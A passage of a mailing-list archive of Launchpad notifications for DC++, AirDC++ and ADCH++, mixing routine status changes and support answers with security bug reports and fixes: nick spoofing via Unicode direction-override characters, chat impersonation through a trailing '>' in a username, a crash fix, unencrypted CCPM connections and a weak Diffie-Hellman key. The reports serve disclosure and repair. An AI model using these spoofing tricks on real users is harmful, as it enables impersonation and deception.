  that block: LEFT-TO-RIGHT OVERRIDE (U+202D), RIGHT-TO-LEFT OVERRIDE
  (U+202E), LEFT-TO-RIGHT EMBEDDING (U+202A), RIGHT-TO-LEFT EMBEDDING
  (U+202B),   POP DIRECTIONAL FORMATTING (U+202C), etc.

  Also here's a handy list of possible other suspects:
  http://kb.mozillazine.org/Network.IDN.blacklist_chars

To manage notifications about this bug go to:
https://bugs.launchpad.net/airdcpp/+bug/1425276/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1425276] Re: The Unicode mirror character and possibly other similar ones can be used for nick spoofing in ADC hubs

[eMTee]

** Changed in: dcplusplus
   Status: New => Confirmed

** Changed in: dcplusplus
   Importance: Undecided => Critical

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1425276

Title:
  The Unicode mirror character and possibly other similar ones can be
  used for nick spoofing in ADC hubs

Status in AirDC++:
  Confirmed
Status in DC++:
  Confirmed

Bug description:
  Basically what's described at 
http://stackoverflow.com/questions/3115204/unicode-mirror-character used by 
some recent malware to trick with file extensions seems to be working for DC++, 
too. 
  See the attached screenshot. It produces various other funny effects 
throughout the DC++ interface where the nick is displayed alone or in 
conjunction with other text/data.

  For other possible problematic chars cologic suggests that anything in
  http://www.fileformat.info/info/unicode/block/general_punctuation/list.htm
  from U+2000 to U+206F inclusive is pretty suspect. Some look like they
  have legitimate use, though, (U+2030 to U+205E inclusive, for
  example). But, minimally, filtering out a few of the codepoints from
  that block: LEFT-TO-RIGHT OVERRIDE (U+202D), RIGHT-TO-LEFT OVERRIDE
  (U+202E), LEFT-TO-RIGHT EMBEDDING (U+202A), RIGHT-TO-LEFT EMBEDDING
  (U+202B),   POP DIRECTIONAL FORMATTING (U+202C), etc.

  Also here's a handy list of possible other suspects:
  http://kb.mozillazine.org/Network.IDN.blacklist_chars

To manage notifications about this bug go to:
https://bugs.launchpad.net/airdcpp/+bug/1425276/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1309390] Re: crash if seeker.size() < 4

[eMTee]

** Information type changed from Private Security to Public

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1309390

Title:
  crash if seeker.size() < 4

Status in DC++:
  Fix Released

Bug description:
  FlylinkDC++ r5xx ~230 crash if seeker.size() < 4

  http://yadi.sk/d/WtdtH7BGMhYsP -  seeker = ":0" !

  Crash dump:
  https://crash-server.com/Problem.aspx?ClientID=ppa=64297
  https://crash-server.com/Problem.aspx?ClientID=ppa=63507

  
  hot fix for original DC++:

  diff -r f0b0e8d11291 dcpp/NmdcHub.cpp
  --- a/dcpp/NmdcHub.cpp  Thu Apr 17 12:46:07 2014 +0300
  +++ b/dcpp/NmdcHub.cpp  Fri Apr 18 12:03:48 2014 +0400
  @@ -262,7 +262,8 @@
  }
  } else {
  // Hub:seeker
  -   if(Util::stricmp(seeker.c_str() + 4, 
getMyNick().c_str()) == 0) {
  +   if(seeker.size() > 4 &&
  +Util::stricmp(seeker.c_str() + 4, 
getMyNick().c_str()) == 0) {
  return;
  }
  }

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1309390/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1682791] Re: Unencrypted CCPM connections are not being rejected

[eMTee]

IIRC CryptoManager::TLSOk() was set to return always false during the tests. 
Also in the then latest version of DC++ it was impossible to initiate CCPM 
unless you were connected to an ADCS hub - that block had to be removed as well 
for the test.
The ADCS hub requirement has since been removed so starting an unencryped 
connection to a client that has CCPM in the supports flags may be possible in 
DC++ 0.870 (not tested).
The committed fix is based on what AirDC++ does, it should block unencrypted 
attempts in both directions.

** Changed in: dcplusplus
   Status: Triaged => Fix Committed

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1682791

Title:
  Unencrypted CCPM connections are not being rejected

Status in AirDC++:
  Fix Released
Status in DC++:
  Fix Committed

Bug description:
  The application still incorrectly shows that direct encrypted channel
  has been established. AirDC++ also shouldn't allow establishing direct
  encrypted channels when transfer encryption has been disabled.

To manage notifications about this bug go to:
https://bugs.launchpad.net/airdcpp/+bug/1682791/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1926222] Re: DC++ is not accessible to blind persons using screen reading software.

[eMTee]

Michael, sorry for the late reply.
What I remember we've added numerous hot keys to ease the access on a request 
of a visually impaired user; I don't remember any complaints of such problems 
you describe. He was obviously able to screen read and certainly was not 
blocked from those information you mention.
Not sure what does "The information is displayed in an inaccessible way." mean. 
DC++ is using standard Windows components, mostly rich text boxes, lists, edit 
boxes, menus and dialogs for displaying most of the information. 
I'm not familiar with screen reading software so I can't think of anything 
problematic. If you are able to attach screenshots of how does DC++ look like 
in your environment, it might give some clue why your reader software is unable 
to read the information displayed.

** Changed in: dcplusplus
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1926222

Title:
  DC++ is not accessible to blind persons using screen reading software.

Status in DC++:
  Incomplete

Bug description:
  DC++ does not verbalize any information to screen readers for blind
  users. No information in any of the fields is verbalized nor can I
  even attempt to access the information in an offline mode available
  with the screen readers. The information is displayed in an
  inaccessible way.When I attempt to use DC++ my screen reader software
  does not verbalize any information either about what DC++ transmits
  about hubs nor my connection status. Has there been any attempt to
  make this program accessible? Thanks.

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1926222/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1390988] Re: Username spoofing in chat

[eMTee]

** Also affects: airdcpp
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1390988

Title:
  Username spoofing in chat

Status in AirDC++:
  New
Status in DC++:
  Confirmed

Bug description:
  ">" symbol at the end of a username gets stripped off while being
  displayed in public/private chat. So this will allow impersonation of
  users on chat. Check the attached screenshot. By connecting to the hub
  with the username "PtokaX>" (NMDC), all my public/private chat
  messages will appear to dcplusplus users as if they are from "PtokaX"
  itself.

  Version: 0.843
  Hub software used for testing: PtokaX 0.5.0.2
  OS: Windows XP SP3

To manage notifications about this bug go to:
https://bugs.launchpad.net/airdcpp/+bug/1390988/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1390988] Re: Username spoofing in chat

[eMTee]

** Changed in: dcplusplus
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1390988

Title:
  Username spoofing in chat

Status in DC++:
  Confirmed

Bug description:
  ">" symbol at the end of a username gets stripped off while being
  displayed in public/private chat. So this will allow impersonation of
  users on chat. Check the attached screenshot. By connecting to the hub
  with the username "PtokaX>" (NMDC), all my public/private chat
  messages will appear to dcplusplus users as if they are from "PtokaX"
  itself.

  Version: 0.843
  Hub software used for testing: PtokaX 0.5.0.2
  OS: Windows XP SP3

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1390988/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1390988] Re: Username spoofing in chat

[eMTee]

I cannot reproduce this in any NMDC hubs I tried (e.g. PtokaX DC Hub
0.5.2.1) with two users using the latest DC++ version, one with the nick
"nick" and the other set to "nick>"; then I tested with one of the
client's nick set to "hubbot_name>". In both cases the nicks displayed
with the ">" symbol at the end changed to "_" and can be perfectly
distinguished in both clients.

The behavior described in this report should have already been fixed
with https://bazaar.launchpad.net/~dcplusplus-
team/dcplusplus/trunk/revision/611/client/NmdcHub.cpp#client/NmdcHub.cpp
and the fix is released with DC++ 0.692 so I'm not sure how this can
happen in 0.843 or any newer version.

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1390988

Title:
  Username spoofing in chat

Status in DC++:
  New

Bug description:
  ">" symbol at the end of a username gets stripped off while being
  displayed in public/private chat. So this will allow impersonation of
  users on chat. Check the attached screenshot. By connecting to the hub
  with the username "PtokaX>" (NMDC), all my public/private chat
  messages will appear to dcplusplus users as if they are from "PtokaX"
  itself.

  Version: 0.843
  Hub software used for testing: PtokaX 0.5.0.2
  OS: Windows XP SP3

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1390988/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

Re: [Linuxdcpp-team] [Question #699121]: I'm trying to install on a CentOS via SSH on a macOS terminal

[eMTee]

Question #699121 on ADCH++ changed:
https://answers.launchpad.net/adchpp/+question/699121

Status: Open => Answered

eMTee proposed the following answer:
Well, googling this error produces a tons of results, e.g. 
https://www.rosettacommons.org/content/error-cpu-you-selected-does-not-support-x86-64-instruction-set-solved
 suggests it can be an architecture mismatch problem.
Check that  your OS architecture and Python architecture match and the 
installed scons version aligns with what Python version you have installed. 
Otherwise I'm out of ideas. Again in the dev hub you may find people with Linux 
experience. I've never compiled ADCH++ on *nix myself.

-- 
You received this question notification because your team Dcplusplus-
team is an answer contact for ADCH++.

___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1945213] Re: DC++ .870 fails to follow symbolic links

[eMTee]

Maybe the user rights of accessing the symlink and the rights of the program 
itself mismatch until you reboot. Running DC++ as an administrator may resolve 
the problem in these cases.
Anyway, thanks for confirming this as a non-issue.

** Changed in: dcplusplus
   Status: Incomplete => Invalid

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to DC++.
https://bugs.launchpad.net/bugs/1945213

Title:
  DC++ .870 fails to follow symbolic links

Status in DC++:
  Invalid

Bug description:
  After upgrading to .870 DC++ will not follow Windows symbolic links
  when moving files from DC++ temp to the final destination.

  I have many messages like this:

  [09:43] Unable to move  to
   (The
  system cannot find the path specified.); renamed to 

  The path N:\Emerson Lake & Palmer + Related is a link to a folder on
  another drive.

  I can manually move the files so I know the link is working correctly (from a 
non-elevated command prompt):
  N:\DC++temp>move "ELP 1975-05-25 d1t06.flac" "N:\Emerson Lake & Palmer + 
Related\elp 1974-05-25 Ahoy Halle, Rotterdam, Netherlands cdr\Disc 1"
  1 file(s) moved.

  I have had to back off to .868, where this worked fine

To manage notifications about this bug go to:
https://bugs.launchpad.net/dcplusplus/+bug/1945213/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

Re: [Linuxdcpp-team] [Question #699121]: I'm trying to install on a CentOS via SSH on a macOS terminal

[eMTee]

Question #699121 on ADCH++ changed:
https://answers.launchpad.net/adchpp/+question/699121

eMTee proposed the following answer:
Also the official guide's
https://adchpp.sourceforge.io/user_guide/expert_guide.html#_building_adch
might give some additional help. You can also join the dev hub
adcs://hub.dcbase.org:16591 and ask for help and if you're lucky some
people with Linux experience might be around.

-- 
You received this question notification because your team Dcplusplus-
team is an answer contact for ADCH++.

___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

Re: [Linuxdcpp-team] [Question #699121]: I'm trying to install on a CentOS via SSH on a macOS terminal

[eMTee]

Question #699121 on ADCH++ changed:
https://answers.launchpad.net/adchpp/+question/699121

Status: Open => Answered

eMTee proposed the following answer:
There is https://adchpp.sourceforge.io/guide.html which is included in
the repo. The Linux part of the installation guide is pretty vague and
outdated in it but it contains a this link
https://forum.dchublist.org/viewtopic.php?f=29=480 to a guide made by
an ADCH++ user, a howto of installing in Ubuntu.

Please note the last commit on this lp repo
https://bazaar.launchpad.net/~dcplusplus-team/adchpp/trunk/revision/667
that the project code is moved to sourceforge so bzr branch lp:adchpp
probably fetched an empty repo. Revert to commit 666 if you want to
compile the last version hosted here.

-- 
You received this question notification because your team Dcplusplus-
team is an answer contact for ADCH++.

___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1088638] Re: Not enough bandwidth available, please try again later

[eMTee]

Fixed in ADCH++ 3.0.0

** Changed in: adchpp
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to ADCH++.
https://bugs.launchpad.net/bugs/1088638

Title:
  Not enough bandwidth available, please try again later

Status in ADCH++:
  Fix Released

Bug description:
  The error "Not enough bandwidth available, please try again later" in
  ClientManager::verifyOverflow shouldn't be sent with the "TL -1"
  param, as quite a few users receive that error after the hub has been
  restarted.

  Because of that it takes a long time to get all users back in the hub
  as their clients won't reconnect automatically.

To manage notifications about this bug go to:
https://bugs.launchpad.net/adchpp/+bug/1088638/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1850053] Re: dh key too small

[eMTee]

Fixed in ADCH++ 3.0.0

** Changed in: adchpp
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to ADCH++.
https://bugs.launchpad.net/bugs/1850053

Title:
  dh key too small

Status in ADCH++:
  Fix Released

Bug description:
  When creating a new certificate, we use the script `linux/generate_certs.sh`
  It uses this command:
   $ openssl dhparam -outform PEM -out dhparam.pem 1024
  which mean "use a Diffie-Hellman key of 1024 bits"

  Sadly, Logjam Attack occurs on DH key <=1024 bits.
  In the way to "fix" that, debian software can't connect anymore on ADCS hub 
that have a DH key <=1024 bits.

  See https://weakdh.org/ for more security info, but tldr:
   > If you run a server… [...] you should disable support for export cipher 
suites and use a 2048-bit Diffie-Hellman group.

  You can so fix the issue by modifying 
   $ openssl dhparam -outform PEM -out dhparam.pem 1024
  to
   $ openssl dhparam -outform PEM -out dhparam.pem 2048

  Cheers

To manage notifications about this bug go to:
https://bugs.launchpad.net/adchpp/+bug/1850053/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1791793] Re: Recent versions of build tools cannot be used to compile ADCH++

[eMTee]

Fixed in ADCH++ 3.0.0

** Changed in: adchpp
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to ADCH++.
https://bugs.launchpad.net/bugs/1791793

Title:
  Recent versions of build tools cannot be used to compile ADCH++

Status in ADCH++:
  Fix Released

Bug description:
  Notably even the minimum versions of scons (1.5.x) and gcc/mingw (6.x)
  required for compiling DC++ are unusable for compiling ADCH++ at the
  moment of writing, making it impossible to build the two projects in
  the same building environment.

To manage notifications about this bug go to:
https://bugs.launchpad.net/adchpp/+bug/1791793/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Question #690223]: Status of bug #1088638 changed to 'Fix Released' in ADCH++

[eMTee]

Bug #1088638 status changed in ADCH++:

Fix Committed => Fix Released

https://bugs.launchpad.net/adchpp/+bug/1088638
"Not enough bandwidth available, please try again later"

This bug is linked to #690223.
Not enough bandwidth available, please try again later
https://answers.launchpad.net/adchpp/+question/690223

-- 
You received this question notification because your team Dcplusplus-
team is an answer contact for ADCH++.

___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1088638] Re: Not enough bandwidth available, please try again later

[eMTee]

We think the message "try again later" is nowhere near telling the clients to 
never reconnect and we indeed suppose this is a fix for the problem and we 
added it so in the changelog of ADCH++.
Additionally, there were an actual case where the hub owner's problem solved 
this way. 
We see this is as a bug report and not a behavioral change request and we think 
we provided ways to solve the problem for those who have it.

** Changed in: adchpp
   Status: Won't Fix => Fix Committed

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to ADCH++.
https://bugs.launchpad.net/bugs/1088638

Title:
  Not enough bandwidth available, please try again later

Status in ADCH++:
  Fix Committed

Bug description:
  The error "Not enough bandwidth available, please try again later" in
  ClientManager::verifyOverflow shouldn't be sent with the "TL -1"
  param, as quite a few users receive that error after the hub has been
  restarted.

  Because of that it takes a long time to get all users back in the hub
  as their clients won't reconnect automatically.

To manage notifications about this bug go to:
https://bugs.launchpad.net/adchpp/+bug/1088638/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Question #690223]: Status of bug #1088638 changed to 'Fix Committed' in ADCH++

[eMTee]

Bug #1088638 status changed in ADCH++:

Won't Fix => Fix Committed

https://bugs.launchpad.net/adchpp/+bug/1088638
"Not enough bandwidth available, please try again later"

This bug is linked to #690223.
Not enough bandwidth available, please try again later
https://answers.launchpad.net/adchpp/+question/690223

-- 
You received this question notification because your team Dcplusplus-
team is an answer contact for ADCH++.

___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Bug 1088638] Re: Not enough bandwidth available, please try again later

[eMTee]

We decided to fix this problem differently than maksis suggests so the behavior 
don't change and in an out of bandwith case users still aren't automatically 
hammering the hub. Rather we changed a constant to a new configurable parameter 
and documented the issue, along with other possible cases, when scaling the 
hub's resouce usage is needed.
See commits 
https://sourceforge.net/p/adchpp/code/ci/68e99c987292859ff923ac8ff49c19877262ba39/
 and 
https://sourceforge.net/p/adchpp/code/ci/d4a4e2fe8398c19b4ddb0bd3ac3933fcd3e57255/


** Changed in: adchpp
   Status: New => Fix Committed

-- 
You received this bug notification because you are a member of
Dcplusplus-team, which is subscribed to ADCH++.
https://bugs.launchpad.net/bugs/1088638

Title:
  Not enough bandwidth available, please try again later

Status in ADCH++:
  Fix Committed

Bug description:
  The error "Not enough bandwidth available, please try again later" in
  ClientManager::verifyOverflow shouldn't be sent with the "TL -1"
  param, as quite a few users receive that error after the hub has been
  restarted.

  Because of that it takes a long time to get all users back in the hub
  as their clients won't reconnect automatically.

To manage notifications about this bug go to:
https://bugs.launchpad.net/adchpp/+bug/1088638/+subscriptions


___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp

[Linuxdcpp-team] [Question #690223]: Status of bug #1088638 changed to 'Fix Committed' in ADCH++

[eMTee]

Bug #1088638 status changed in ADCH++:

New => Fix Committed

https://bugs.launchpad.net/adchpp/+bug/1088638
"Not enough bandwidth available, please try again later"

This bug is linked to #690223.
Not enough bandwidth available, please try again later
https://answers.launchpad.net/adchpp/+question/690223

-- 
You received this question notification because your team Dcplusplus-
team is an answer contact for ADCH++.

___
Mailing list: https://launchpad.net/~linuxdcpp-team
Post to : linuxdcpp-team@lists.launchpad.net
Unsubscribe : https://launchpad.net/~linuxdcpp-team
More help   : https://help.launchpad.net/ListHelp